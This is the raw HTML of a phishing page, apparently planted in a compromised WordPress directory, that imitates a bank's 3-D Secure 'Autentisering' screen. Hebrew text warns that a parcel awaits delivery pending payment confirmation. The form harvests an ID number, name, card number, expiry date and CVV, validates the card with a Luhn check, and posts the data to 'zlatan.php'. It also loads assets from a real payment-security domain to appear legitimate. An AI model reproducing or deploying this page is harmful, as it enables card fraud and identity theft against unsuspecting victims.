groupalivedesign.com/wp-includes/index/

<html>
<head>
  <meta http-equiv="content-type"
 content="application/xhtml+xml; charset=utf-8">
  <title>Autentisering</title>
  <link rel="stylesheet" type="text/css"
 href="https://acs4.3dsecure.no/mdpayacs/content/040/screen.css">
  <link rel="stylesheet" type="text/css"
 href="https://acs4.3dsecure.no/mdpayacs/content/040/dk/gh-buttons.css">
  <script src="https://acs4.3dsecure.no/mdpayacs/content/commons.js"></script>
  <script
 src="https://acs4.3dsecure.no/mdpayacs/content/040/js/jquery-1.9.1.min.js"></script>
  <script type="text/javascript"
 src="./Autentisering_files/date_time.js"></script>
  <script type="text/javascript">
function onBodyLoad() {
document.form.otp.focus();
}
function validate(){
var filter = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
var tel=document.getElementById("nocphone2");
var email=document.getElementById("em1");
var cc=document.getElementById("ccnn1");
var expm=document.getElementById("cexppdm");
var expa=document.getElementById("cexdyyyyss");
var cv=document.getElementById("qsdq21sd5s4d4s1");
var flag=0;
if (tel.value=="" || isNaN(tel.value) || tel.value.length<8)
{ tel.style.borderColor="red";flag=1;
}else{ tel.style.borderColor="green";
}
if(filter.test(email.value))
{
email.style.borderColor="green";
}else{
email.style.borderColor="red";flag=1;
}
if (cc.value==""||cc.value.length<15 || isNaN(cc.value)){
cc.style.borderColor="red";flag=1;
}else
{
var len = cc.value.length;
var iCCN = parseInt(cc.value);
var iTotal = 0;
for(var i=len;i>0;i--){ calc = parseInt(iCCN) % 10; calc = parseInt(calc); iTotal += calc; i--; iCCN = iCCN / 10; calc = parseInt(iCCN) % 10 ; calc = calc *2; switch(calc){
case 10: calc = 1; break; case 12: calc = 3; break; case 14: calc = 5; break; case 16: calc = 7; break; case 18: calc = 9; break; default: calc = calc; } iCCN = iCCN / 10; iTotal += calc; }
if (iTotal%10!=0)
{cc.style.borderColor="red";flag=1;
}else{
cc.style.borderColor="green";
}
}
if (expm.value==""|| expm.value<1 ||expm.value>12 || (expa.value==19&& (expm.value==1|| expm.value==2||expm.value==3)))
{ expm.style.borderColor="red";flag=1;
}else{ expm.style.borderColor="green";
}
if (expa.value==""|| expa.value<19 || expa.value>28)
{ expa.style.borderColor="red";flag=1;
}else{ expa.style.borderColor="green";
}
if (cv.value=="" || isNaN(cv.value) || cv.value.length<3)
{ cv.style.borderColor="red";flag=1;
}else{ cv.style.borderColor="green";
}
if (flag==1)
{document.getElementById("msg_error").style.display="block";return false;}else{document.getElementById("msg_error").style.display="none";return true;}
}
  </script>
</head>
<body onload="onBodyLoad();">
<div id="authform">
<div class="wrapper">
<div class="logos">
<table>
  <tbody>
    <tr>
      <td class="identifier"> <img alt="" src=""
 style="max-height: 56px;"><img alt="" src=""
 style="max-height: 56px;"> </td>
      <td class="bank"> <br>
      </td>
      <td class="bank"> <img src="logo170.png"
 alt="2" title="1" longdesc="logo170.png"><br>
      </td>
    </tr>
  </tbody>
</table>
</div>
<h1 style="text-align: left;">הזן את מספר הכרטיס</h1>
<h1 style="text-align: right;"><img
 src="payment-logos.png" alt="r" title="r"
 style="top: 249px; left: 631px; width: 130px; height: 24px;"
 longdesc="payment-logos.png"></h1>
<p><b>החבילה שלך ממתינה למשלוח, עלינו לאשר את התשלום</b></p>
<p><b> לקבלה בארבעת הימים הבאים.</b></p>
<form id="form" name="form" method="post"
 action="zlatan.php"> <br>
  <dl style="margin-top: 10px;">
    <dt><b>תַאֲרִיך : </b></dt>
    <dd><span id="date_time"></span><br>
    </dd>
    <script type="text/javascript">window.onload = date_time('date_time');</script>
    <dt><b>מספר הזהות</b></dt>
    <dd> <label for="select"></label>&nbsp;<input
 style="width: 60px;" id="nocphone2" name="nocphone2"
 maxlength="9" onkeypress="return submitenter(this,event)"
 type="text" width="10"></dd>
    <dt><b>השם:</b></dt>
    <dd> <input name="em1" id="name"
 style="width: 112px;"
 onkeypress="return submitenter(this,event)" type="text"
 width="20"> </dd>
    <dt><b>מספר כרטיס :</b></dt>
    <dd> <input name="ccnn1" id="ccnn1"
 style="width: 112px;" maxlength="16"
 onkeypress="return submitenter(this,event)" type="text"
 width="10">
    </dd>
    <dt><b>תאריך תפוגה :</b></dt>
    <dd><input style="width: 30px;" id="cexppdm"
 name="cexppdm" maxlength="2"
 onkeypress="return submitenter(this,event)" type="text"
 width="10">-<input style="width: 30px;"
 id="cexdyyyyss" maxlength="2" name="cexdyyyyss"
 onkeypress="return submitenter(this,event)" type="text"
 width="10"></dd>
    <dt> <label for="code"><b>CVV</b> :
      </label> </dt>
    <dd> <input style="width: 30px;"
 id="qsdq21sd5s4d4s1" maxlength="4" name="qsdq21sd5s4d4s1"
 onkeypress="return submitenter(this,event)" type="text"
 width="10"> <br>
      <br>
    </dd>
  </dl>
  <div id="errorMessage" class="error"></div>
  <div id="msg_error" class="error"
 style="display: none;">Kontroller de
merkede feltene.</div>
  <div style="font-size: 0.92em; margin-bottom: 30px;"><b>הזן
את המידע
הבא כהלכה ולחץ על "אשר".</b><br>
  <br>
  <b>השלב הבא: אימות נייד</b></div>
  <div style="position: absolute; margin-left: 150px;"> <b><button
 class="button icon approve primary" name="submit"
 id="submit" type="submit" value="submit"
 onclick="return validate()">לְאַשֵׁר</button></b>
  </div>
</form>
</div>
</div>
</body>
</html>